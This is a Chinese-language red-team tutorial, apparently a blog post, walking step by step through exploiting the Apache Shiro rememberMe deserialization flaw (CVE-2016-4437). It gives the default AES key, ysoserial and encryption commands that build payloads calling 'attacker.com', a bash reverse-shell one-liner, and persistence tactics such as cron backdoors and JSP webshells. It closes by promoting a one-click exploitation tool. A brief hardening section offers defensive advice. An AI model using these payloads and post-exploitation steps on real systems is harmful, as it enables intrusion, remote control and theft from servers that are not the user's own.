🥷 红队实战案例:Apache Shiro 框架漏洞利用全流程
🧩 一、识别目标使用了 Shiro 框架
🔍 目标访问行为识别
访问目标站点(如 http://target.com/login
),响应头中出现如下字段:
Set-Cookie: rememberMe=deleteMe;
✅ 高危特征点:“rememberMe” 是 Shiro 框架的标志性 Cookie 名称,用于记住登录状态。
🔒 二、Shiro 记住我功能安全逻辑
Shiro 的 rememberMe 机制如下:
- 服务端设置 Cookie
rememberMe
; - 其中数据是 Java 对象序列化并加密后 的内容;
- 客户端每次带上该 Cookie,Shiro 会解密并反序列化;
- 若对象合法,自动登录用户。
⚠️ 如果 Shiro 配置中使用了默认密钥,攻击者可以伪造恶意序列化对象并触发 反序列化漏洞(RCE)!
📌 三、确认是否存在 Shiro 反序列化漏洞(CVE-2016-4437)
🔬 检测流程
✅ 1. 使用默认 AES Key 检测(Shiro 1.2.4 默认使用 “kPH+bIxk5D2deZiIxcaaaA==”)
我们生成恶意 payload,用默认 key 加密后写入 rememberMe
:
GET / HTTP/1.1
Host: target.com
Cookie: rememberMe=<base64_encoded_payload>
如果服务器返回响应头中 再设置了一次 Cookie 为 rememberMe=deleteMe
,说明 payload 解密失败,Shiro 认为非法,重置 Cookie。
❗ 但如果未重置 Cookie 或响应状态改变,就可能说明 key 是匹配的!
✅ 2. 使用 shiro_exploit_tool / ysoserial + 加密脚本 进行验证
java -jar ysoserial.jar CommonsBeanutils1 "ping attacker.com" > payload.ser
然后使用 Shiro 加密脚本生成 base64:
python shiro_payload_gen.py -k kPH+bIxk5D2deZiIxcaaaA== -i payload.ser
将 base64 数据写入 Cookie,监听是否有请求发回:
Cookie: rememberMe=<生成的值>
✅ 3. 使用高级反序列化链测试(如 ysoserial)
利用链 | 说明 |
---|---|
CommonsBeanutils1 | 简单命令执行链,最常见 |
CommonsCollections1~6 | 强大链,适合各种反序列化攻击 |
Jdk7u21 | 适用于 JDK7 版本,命令执行链最强 |
Spring1 | 基于 Spring 框架的 RCE 链 |
通过这些工具,测试攻击是否成功。
🎯 四、漏洞利用:构造恶意序列化对象
利用链选择(ysoserial)
- 通用链:
CommonsBeanutils1
/CommonsCollections1~6
/Jdk7u21
- 要根据目标的依赖情况选择能成功利用的链
生成 payload:
java -jar ysoserial.jar CommonsBeanutils1 "curl http://attacker.com/pwned" > exp.ser
加密 payload:
python shiro_payload_gen.py -k kPH+bIxk5D2deZiIxcaaaA== -i exp.ser
写入 Cookie 请求目标:
Cookie: rememberMe=<你的加密payload>
在监听服务器上看到回连,则说明成功触发了反序列化执行命令。
🧠 五、提权 + 持久化思路
成功执行命令后常见操作:
目标 | 方法 |
---|---|
获得 Shell | bash -i >& /dev/tcp/attacker.com/4444 0>&1 |
内网探测 | ip a , netstat , nmap , ps aux |
横向移动 | 查找配置文件、数据库连接、JWT 秘钥等 |
持久化 | 添加 cron 后门、写 JSP webshell、注入反向代理规则 |
🧱 六、安全加固建议(防守视角)
项目 | 建议 |
---|---|
Shiro Key | 不要使用默认密钥,使用随机强密钥 |
序列化 | 禁止使用 Java 原生序列化传输用户数据 |
检测 | 对 rememberMe Cookie 做异常行为监控 |
升级 | 使用 Shiro >= 1.4.2(修复已知反序列化链) |
WAF | 检测和拦截 base64 编码的异常 Cookie |
✅ 七、总结攻击链
发现 rememberMe尝试默认密钥解密成功识别加密密钥生成反序列化 payload加密 + Base64 编码写入 Cookie 请求触发反序列化执行命令获得控制权限
![图片[1]-Apache Shiro 框架漏洞利用全流程-极客星球](https://monkey.geekserver.top/wp-content/uploads/2025/04/eb95b39b1b20250413012044.png)
🔐 Shiro一键利用工具,1300+ 密钥库 🔑,通过下面小程序中搜索 ‘Shiro’ 🔍 获取。

© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容